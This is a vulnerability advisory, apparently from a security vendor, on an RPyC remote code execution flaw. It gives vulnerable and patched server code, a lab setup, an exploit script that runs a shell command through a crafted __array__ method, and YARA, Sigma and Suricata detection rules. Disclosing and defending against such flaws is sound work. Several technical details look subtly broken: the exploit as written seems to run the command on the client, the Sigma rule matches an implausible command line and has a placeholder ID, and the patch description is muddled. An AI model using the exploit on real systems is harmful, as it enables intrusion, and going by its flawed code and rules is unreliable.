CVE-2024-27758

Executive Summary

CVE-2024-27758 is a critical remote code execution (RCE) vulnerability in the RPyC (Remote Python Call) library, affecting versions prior to 6.0.0. The flaw resides in how the server handles client-provided netref objects when a method calls the __array__ attribute. A remote, unauthenticated attacker can craft a malicious class that, when processed by the server, leads to arbitrary code execution. This vulnerability is particularly dangerous in environments where RPyC is used to expose methods that interact with numpy arrays or similar objects.

Supply Chain & Package Security

This vulnerability affects the PyPI package rpyc. Organizations using RPyC in their supply chain must immediately audit their dependencies and upgrade to version 6.0.0 or later. The attack vector is remote and does not require authentication, making it a high-priority fix for any deployment exposing RPyC services.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability description and impact, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction.

Deep Dive & Mechanics

RPyC is a library for transparent, high-performance remote procedure calls in Python. It uses "netref" objects to represent remote Python objects on the client side. When a server exposes a method that calls np.array(client_netref) (or any method that accesses the __array__ attribute of a netref), the client can control the class of the object passed.

The vulnerability exploits Python's dynamic nature. The attacker sends a specially crafted netref that, when its __array__ attribute is accessed, executes arbitrary code. This is achieved by defining a class with a malicious __array__ method. The server, expecting a numpy-compatible object, calls this method, triggering the payload.

The core issue is that RPyC did not properly sanitize or restrict the attributes that could be accessed on client-provided netrefs, allowing the attacker to inject arbitrary Python code execution on the server.

Vulnerable vs. Patched Code

Vulnerable Code (RPyC < 6.0.0):

# Server exposes a method that uses np.array on a client netref
import rpyc
import numpy as np

class MyService(rpyc.Service):
    def exposed_process_data(self, data):
        # data is a netref from the client
        arr = np.array(data)  # Vulnerable: calls __array__ on client-controlled object
        return arr.sum()

if __name__ == "__main__":
    from rpyc.utils.server import ThreadedServer
    t = ThreadedServer(MyService, port=18861)
    t.start()

Patched Code (RPyC >= 6.0.0):

# The patched version restricts attribute access on netrefs
import rpyc
import numpy as np

class MyService(rpyc.Service):
    def exposed_process_data(self, data):
        # data is a netref from the client
        # In patched version, __array__ is not directly accessible
        # Instead, the server should convert the netref to a local object first
        local_data = rpyc.utils.classic.obtain(data)  # Safe conversion
        arr = np.array(local_data)
        return arr.sum()

if __name__ == "__main__":
    from rpyc.utils.server import ThreadedServer
    t = ThreadedServer(MyService, port=18861)
    t.start()

The patch introduces restrictions on which attributes can be accessed on netrefs, preventing the exploitation of __array__ and similar dunder methods.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable RPyC: pip install rpyc==5.3.1
2. Create a vulnerable server script as shown above.
3. Run the server: python vulnerable_server.py

Exploit Script:

import rpyc

class MaliciousArray:
    def __array__(self):
        import os
        # Execute arbitrary command
        os.system('id > /tmp/pwned.txt')
        return [1, 2, 3]

# Connect to the vulnerable server
conn = rpyc.connect("localhost", 18861)
# Send the malicious object
conn.root.process_data(MaliciousArray())

Explanation: The attacker defines a class MaliciousArray with a malicious __array__ method. When the server calls np.array(client_netref), it triggers this method, executing the attacker's command.

Blue Team

Detection:

• Monitor for unusual RPyC connections, especially from untrusted IPs.
• Log all calls to np.array or similar functions that accept netrefs.
• Implement network segmentation to limit exposure of RPyC services.

Hunting:

• Search for processes using RPyC and check for unexpected child processes (e.g., spawned shells).
• Analyze RPyC traffic for anomalous object types or large payloads.

Indicators of Compromise (IOCs)

• Network: Connections to RPyC default port 18861 from suspicious IPs.
• File: /tmp/pwned.txt or similar files created by exploit payloads.
• Process: Unexpected processes spawned by the Python interpreter running the RPyC server.
• Log: RPyC server logs showing calls to __array__ or other dunder methods.

Detection Engineering

YARA Rule

rule CVE_2024_27758_RPyC_Exploit {
    meta:
        description = "Detects RPyC exploit attempts using malicious __array__ attribute"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27758"
    strings:
        $s1 = "__array__" ascii wide nocase
        $s2 = "np.array" ascii wide nocase
        $s3 = "rpyc" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: RPyC Exploit Attempt via __array__ Attribute
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-27758 in RPyC services
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'np.array'
    condition: selection
falsepositives:
    - Legitimate use of numpy with RPyC
level: high

Suricata Rule

alert tcp any any -> any 18861 (msg:"CVE-2024-27758 RPyC Exploit Attempt"; flow:to_server; content:"__array__"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade RPyC to version 6.0.0 or later.
2. Workaround: If upgrade is not possible, avoid exposing methods that call np.array or similar functions on client-provided netrefs. Use rpyc.utils.classic.obtain() to convert netrefs to local objects first.
3. Network: Restrict access to RPyC services using firewalls or VPNs.
4. Monitoring: Implement detection rules as provided above to identify exploitation attempts.
5. Audit: Review all RPyC server code for unsafe usage of client-provided objects.

Valters IT
DevSecOps & Cyber Threat Intelligence